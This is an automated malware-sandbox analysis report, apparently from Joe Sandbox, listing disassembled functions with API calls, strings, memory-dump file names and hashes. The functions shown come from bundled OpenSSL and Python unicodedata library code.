strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A80135B7

Strings

DER:, xrefs: 00007FF8A8013619
ASN1:, xrefs: 00007FF8A8013644
critical,, xrefs: 00007FF8A80135B0

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strncmp
String ID: ASN1:$DER:$critical,
API String ID: 1114863663-369496153
Opcode ID: 9dcb5025aebed33bc3ac4bc51b42553d44f8733820fabb1b2b7665fe447d2112
Instruction ID: f2680e2da5cddadc4600db16c038931e39748d7583a6796dc4f1da1f897e957d
Opcode Fuzzy Hash: 9dcb5025aebed33bc3ac4bc51b42553d44f8733820fabb1b2b7665fe447d2112
Instruction Fuzzy Hash: 13412721B1AA82A1FF109F25A8007796694FB45FE4F048130DD6E037E9EF3CD414C718

Function 00007FF8A7EA7060 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129networkCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,00007FF8A7EA6813), ref: 00007FF8A7EA70AD
getnameinfo.WS2_32 ref: 00007FF8A7EA70FB
htons.WS2_32 ref: 00007FF8A7EA716B

Strings

..\s\crypto\bio\b_addr.c, xrefs: 00007FF8A7EA7114, 00007FF8A7EA7196, 00007FF8A7EA71B5, 00007FF8A7EA71E5, 00007FF8A7EA7202, 00007FF8A7EA7224
, xrefs: 00007FF8A7EA70E1

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: getnameinfohtonsmemset
String ID: $..\s\crypto\bio\b_addr.c
API String ID: 165288700-1606403076
Opcode ID: 82ea52c5bb6671ad7b590f4c7f6912f5bbfbbaf4eca62010f3716e64f4675c2c
Instruction ID: d037d7749e83b48b5573f748e52792fffa13fd4dfec4ae62bf6d20f35f248a4a
Opcode Fuzzy Hash: 82ea52c5bb6671ad7b590f4c7f6912f5bbfbbaf4eca62010f3716e64f4675c2c
Instruction Fuzzy Hash: D351C231B1AA82A6FB219F11E4102BD73A0FB50BC4F444135EB8C07695EF3DE9A0D714

Function 00007FF8A7CC4538 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC4571
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC4587

Strings

argument, xrefs: 00007FF8A7CC4563
a unicode character, xrefs: 00007FF8A7CC455C
decomposition, xrefs: 00007FF8A7CC456A

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_ArgumentReadyUnicode_
String ID: a unicode character$argument$decomposition
API String ID: 1875788646-2471543666
Opcode ID: a080b61f372b97ddd36021a4b0696979c124d7943c3c3348c4d226086e0388bd
Instruction ID: 67e67d7db1382aefee18ca457c67ae59da2037520289ad4a98923d38d50c29dc
Opcode Fuzzy Hash: a080b61f372b97ddd36021a4b0696979c124d7943c3c3348c4d226086e0388bd
Instruction Fuzzy Hash: 02217AA1F0AA06A2FB688F25D56137D26A1EF44BD4F448535CF4E86288DF2CEA45A340

Function 00007FF8A7CC48F4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC492D
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC4943

Strings

argument, xrefs: 00007FF8A7CC491F
a unicode character, xrefs: 00007FF8A7CC4918
east_asian_width, xrefs: 00007FF8A7CC4926

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_ArgumentReadyUnicode_
String ID: a unicode character$argument$east_asian_width
API String ID: 1875788646-3913127203
Opcode ID: e71a621fde4a066315d5ceca8de31c515b4bb48720bbad1bc05c4f42aedf660d
Instruction ID: 819e528f0584f1b9df43281637fbdc7056e79ba64f252763c1d1a72b6c1021f5
Opcode Fuzzy Hash: e71a621fde4a066315d5ceca8de31c515b4bb48720bbad1bc05c4f42aedf660d
Instruction Fuzzy Hash: E921FE21B0A612A2FB648F15C461B7D169AEF80BD4F148175CF4E832C8DE2DEA41E340

Function 00007FF8A7CC5148 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON310 ref: 00007FF8A7CC5174
_PyUnicode_ToNumeric.PYTHON310 ref: 00007FF8A7CC51A7
PyErr_SetString.PYTHON310 ref: 00007FF8A7CC51CF
PyFloat_FromDouble.PYTHON310 ref: 00007FF8A7CC51E1

Strings

not a numeric character, xrefs: 00007FF8A7CC51C5

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: DoubleErr_Float_FromNumericStringSubtypeType_Unicode_
String ID: not a numeric character
API String ID: 1034370217-2058156748
Opcode ID: a04d4ee890c6555e082b91d49744d7024a501f0aacbcd7dea3be52e51a61fffc
Instruction ID: ad7fdc86ad54ea7c071b35d71593d6ae066a52a57e43d4bbee5cf78ccc63b8f2
Opcode Fuzzy Hash: a04d4ee890c6555e082b91d49744d7024a501f0aacbcd7dea3be52e51a61fffc
Instruction Fuzzy Hash: B811B626F1E942A1FB558F21F91803C63A0EF44BD6F248131CB5E17255DF2CE486A300

Function 00007FF8A7DE1064 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7FF14BF
memmove.VCRUNTIME140 ref: 00007FF8A7FF16A5

Strings

NO X509_NAME, xrefs: 00007FF8A7FF14B2
0123456789ABCDEF, xrefs: 00007FF8A7FF16C4
..\s\crypto\x509\x509_obj.c, xrefs: 00007FF8A7FF14A0, 00007FF8A7FF176F, 00007FF8A7FF1793

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmovestrncpy
String ID: ..\s\crypto\x509\x509_obj.c$0123456789ABCDEF$NO X509_NAME
API String ID: 3054264757-3422593365
Opcode ID: ffcb4f52a591a0bd43d6bfece072bf54018bd1e3196a568f2011a3115439ddc2
Instruction ID: 3406f36a5a4cf03843b49250a2ab8def262e4db26593bd30e9795ab6cb00c9a1
Opcode Fuzzy Hash: ffcb4f52a591a0bd43d6bfece072bf54018bd1e3196a568f2011a3115439ddc2
Instruction Fuzzy Hash: 27B1F232A1A68296EF118F26D44037EBB90FB84BD8F184135DA5E47785DFBCE945DB00

Function 00007FF8A7DE1762 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 203COMMON

Download Yara Rule

Strings

$, xrefs: 00007FF8A7FBFBA3
..\s\crypto\rsa\rsa_sign.c, xrefs: 00007FF8A7FBFA9D, 00007FF8A7FBFAD0, 00007FF8A7FBFAE7, 00007FF8A7FBFB5B, 00007FF8A7FBFBB5, 00007FF8A7FBFD3A, 00007FF8A7FBFD57

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: $$..\s\crypto\rsa\rsa_sign.c
API String ID: 0-1864662394
Opcode ID: 969247c500140c59988932c44ea428d0a9b8e0f553b6008c862e182b20e9ad10
Instruction ID: a9c586f3a36e16524bba4d00909f5db1d7bfad7cb5eead8265dafbd8cc657392
Opcode Fuzzy Hash: 969247c500140c59988932c44ea428d0a9b8e0f553b6008c862e182b20e9ad10
Instruction Fuzzy Hash: 39919161A0E682AAE7319F25E45037DA6D0FB847C4F408535EF8D87B89DF7CE646A700

Function 00007FF8A7DE1ED3 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7F93021

Strings

Enter PEM pass phrase:, xrefs: 00007FF8A7F93037
;, xrefs: 00007FF8A7F93062
..\s\crypto\pem\pem_lib.c, xrefs: 00007FF8A7F9306A, 00007FF8A7F930D3, 00007FF8A7F931BC

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove
String ID: ..\s\crypto\pem\pem_lib.c$;$Enter PEM pass phrase:
API String ID: 2162964266-3733131234
Opcode ID: bdc686fb8aba523b28e55b03942bb12ed9c37acd52b0f3eb95ac45e93db571c2
Instruction ID: 1d62a285d56568aad1947fc58fe1891fce3863afec392e19c32c26446d8c7d28
Opcode Fuzzy Hash: bdc686fb8aba523b28e55b03942bb12ed9c37acd52b0f3eb95ac45e93db571c2
Instruction Fuzzy Hash: BA718062B0AA82A5EA619F21E4407AE7394FF847D8F440235EB5D47BC9DF3DD501DB04

Function 00007FF8A7DE2833 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

..\s\crypto\async\async.c, xrefs: 00007FF8A7EA33EF, 00007FF8A7EA343D, 00007FF8A7EA3456, 00007FF8A7EA348C, 00007FF8A7EA34D6, 00007FF8A7EA352C, 00007FF8A7EA354D, 00007FF8A7EA356B, 00007FF8A7EA35A5, 00007FF8A7EA35CA
T, xrefs: 00007FF8A7EA3563

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\async\async.c$T
API String ID: 0-2182492907
Opcode ID: f4ff0d7cd0718cc6d3e7606e3a428867768d5c91e79e97430c3dc4c803304c63
Instruction ID: 5c2ae9876fb5cf10a7b543c37858ecc2c470d9cd5357716a7be76ef4097a9257
Opcode Fuzzy Hash: f4ff0d7cd0718cc6d3e7606e3a428867768d5c91e79e97430c3dc4c803304c63
Instruction Fuzzy Hash: 3E517B31A0BA42A6EB219F12D8005AD7B61FF85BC4F405135DA5D07B9AEF3DE619E700

Function 00007FF8A7DE4E99 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

BIO[%p]: , xrefs: 00007FF8A7EACCB2
bio callback - unknown type (%d), xrefs: 00007FF8A7EACEB9

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: BIO[%p]: $bio callback - unknown type (%d)
API String ID: 0-3830480438
Opcode ID: 699163805d29df9977be80dd9ffb715912bd989fc9fb7757e887052be467a951
Instruction ID: 1a6d0ed597a20fa11d400d65d01b8d35daead6a72879b94bf4cc82e083025357
Opcode Fuzzy Hash: 699163805d29df9977be80dd9ffb715912bd989fc9fb7757e887052be467a951
Instruction Fuzzy Hash: E131F662B0A68166EB128F55AC407BE6790FF89BC4F404136EE4D837A5EF3CD455E300

Function 00007FF8A7DE3841 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FF8A7EA9F2A, 00007FF8A7EA9FAD
J, xrefs: 00007FF8A7EA9FA5
host=, xrefs: 00007FF8A7EAA01E

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
